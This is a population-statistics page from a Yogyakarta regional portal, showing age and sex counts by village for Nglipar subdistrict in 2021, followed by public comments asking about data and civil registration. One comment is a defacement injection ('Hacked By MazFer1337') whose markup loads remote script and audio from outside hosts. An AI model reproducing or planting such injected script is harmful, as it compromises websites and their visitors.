Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN NGLIPAR, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaNATAHPILANGREJOKEDUNGPOHPENGKOLKEDUNGKERISNGLIPARKATONGANTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun3945 843938 777862 1404245 875452 1064545 904045 85337 332 669
2 tahun1830 483020 504824 724031 713028 582221 433530 65223 184 407
3 tahun2222 441919 383638 744522 672726 533629 653328 61218 184 402
4 tahun2220 422817 454249 913325 583436 702220 423326 59214 193 407
5 tahun2427 512820 484133 743436 703329 622919 482933 62218 197 415
6 tahun2616 421722 394643 892829 573516 513437 713427 61220 190 410
7 tahun3024 541627 433641 773235 672830 583328 613330 63208 215 423
8 tahun2522 472822 505742 993237 693228 601736 532935 64220 222 442
9 tahun1726 432222 444243 854138 793329 623130 612939 68215 227 442
10 tahun2425 492323 465747 1044534 793030 603234 664332 75254 225 479
11 tahun2933 623929 685161 1124543 882928 573837 754231 73273 262 535
12 tahun2733 602523 484849 975635 913136 672935 642829 57244 240 484
13 tahun3021 512730 575759 1163642 782727 544135 765131 82269 245 514
14 tahun3025 551022 324338 813440 743329 623423 574343 86227 220 447
15 tahun2720 472631 575060 1104629 752729 564131 724234 76259 234 493
16 tahun2527 522223 455338 913935 742640 663328 613234 66230 225 455
17 tahun2922 512427 513845 833644 803527 623529 643432 66231 226 457
18 tahun2415 392725 526535 1003930 694838 863027 573627 63269 197 466
19 tahun2323 462125 464049 893849 872316 392826 543833 71211 221 432
20 tahun2326 492629 554143 844243 852526 513225 573637 73225 229 454
21 tahun3330 632836 644138 794344 873927 664432 764033 73268 240 508
22 tahun3133 643229 613742 795134 853125 563934 734144 85262 241 503
23 tahun2825 532429 534633 794033 733535 702931 603030 60232 216 448
24 tahun2926 554623 694735 824648 944032 724728 754529 74300 221 521
25 tahun3027 572529 545241 934039 794642 883931 703229 61264 238 502
26 tahun3624 603526 614346 893946 854536 814127 683344 77272 249 521
27 tahun2119 402322 454247 894538 834741 882931 603633 69243 231 474
28 tahun2426 503332 653241 734431 753135 662225 474022 62226 212 438
29 tahun2423 472319 423637 734031 714134 753718 552829 57229 191 420
30 tahun2326 491815 333338 713926 653933 722826 543926 65219 190 409
31 tahun3328 612323 463839 772938 673224 562728 552623 49208 203 411
32 tahun2820 482322 454038 783531 662825 531929 481923 42192 188 380
33 tahun1617 331316 293032 623632 682423 471924 432431 55162 175 337
34 tahun1724 412720 473544 792623 492928 573230 622733 60193 202 395
35 tahun1617 331625 413346 793022 522135 563121 522318 41170 184 354
36 tahun3824 622419 434936 853229 614440 842622 482731 58240 201 441
37 tahun2524 492422 465353 1063443 773933 723537 723331 64243 243 486
38 tahun3422 561516 315156 1073640 762230 523130 613027 57219 221 440
39 tahun2728 552930 595459 1134842 904439 834541 863834 72285 273 558
40 tahun2531 561922 415244 963637 734033 733021 514438 82246 226 472
41 tahun1825 431425 395435 895956 1152839 673034 643242 74235 256 491
42 tahun3622 583227 595336 893843 814130 713426 604128 69275 212 487
43 tahun2925 542323 464354 975034 843639 753745 823230 62250 250 500
44 tahun2924 532918 474150 914835 833127 583828 664627 73262 209 471
45 tahun3016 462525 504640 863444 783136 672331 543534 69224 226 450
46 tahun1826 441631 475939 984147 884335 782527 522630 56228 235 463
47 tahun2824 521523 382941 704340 831927 463637 733232 64202 224 426
48 tahun1733 501926 453747 843839 773037 673215 472326 49196 223 419
49 tahun2639 652727 544641 875046 963137 682734 612547 72232 271 503
50 tahun2428 522829 574838 862746 733142 733721 583031 61225 235 460
51 tahun2229 512528 534735 824149 903331 643133 643049 79229 254 483
52 tahun4342 852826 544550 955057 1072831 593627 633735 72267 268 535
53 tahun2328 513128 594549 943652 883843 813537 724553 98253 290 543
54 tahun2932 613832 702130 513737 743233 652528 533344 77215 236 451
55 tahun2842 702528 533134 654135 762337 603831 693233 65218 240 458
56 tahun3334 671831 494053 934035 753622 583330 633028 58230 233 463
57 tahun2934 632825 532825 533529 641925 443127 582924 53199 189 388
58 tahun4731 782429 534038 782939 682527 521930 494340 83227 234 461
59 tahun2922 511522 372536 612829 572542 671922 413126 57172 199 371
60 tahun1923 421917 362221 432223 452631 571724 412223 45147 162 309
61 tahun3724 611532 474640 863138 692918 472632 583851 89222 235 457
62 tahun2529 542321 443529 642622 483434 682829 571726 43188 190 378
63 tahun2021 411323 362326 493435 693925 642533 582321 44177 184 361
64 tahun1414 28915 242735 623129 602122 432424 481631 47142 170 312
65 tahun2828 561714 313036 662637 632742 692121 422431 55173 209 382
66 tahun2026 461114 252735 624029 692023 431933 522435 59161 195 356
67 tahun1412 261719 361821 391916 352717 442819 472622 48149 126 275
68 tahun1520 351718 352224 462527 522224 461517 321920 39135 150 285
69 tahun1420 341914 332319 422121 422216 381822 402020 40137 132 269
70 tahun1615 311914 332322 452421 453017 471416 302517 42151 122 273
71 tahun1324 371817 352333 562434 581915 341614 301425 39127 162 289
72 tahun1010 201011 211824 421211 231316 2989 171512 2786 93 179
73 tahun1215 271421 352729 561832 501128 391326 392633 59121 184 305
74 tahun814 2289 171515 301313 26711 18127 19816 2471 85 156
75 tahun812 201213 251625 41413 17913 221010 201318 3172 104 176
76 tahun714 21913 221931 501922 411215 271113 241619 3593 127 220
77 tahun58 1397 16118 1976 13410 1467 1328 1044 54 98
78 tahun511 161014 241411 251113 2465 111314 271512 2774 80 154
79 tahun212 14615 211513 281918 371920 39812 201324 3782 114 196
80 ke atas5967 1266390 15380143 223104144 2486295 15755107 16295140 235518 786 1.304
Jumlah1.9411.9713.9121.7951.8833.6783.1253.1556.2802.8472.8255.6722.3962.3874.7832.2652.2134.4782.4782.5275.005 16.847 16.961 33.808
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih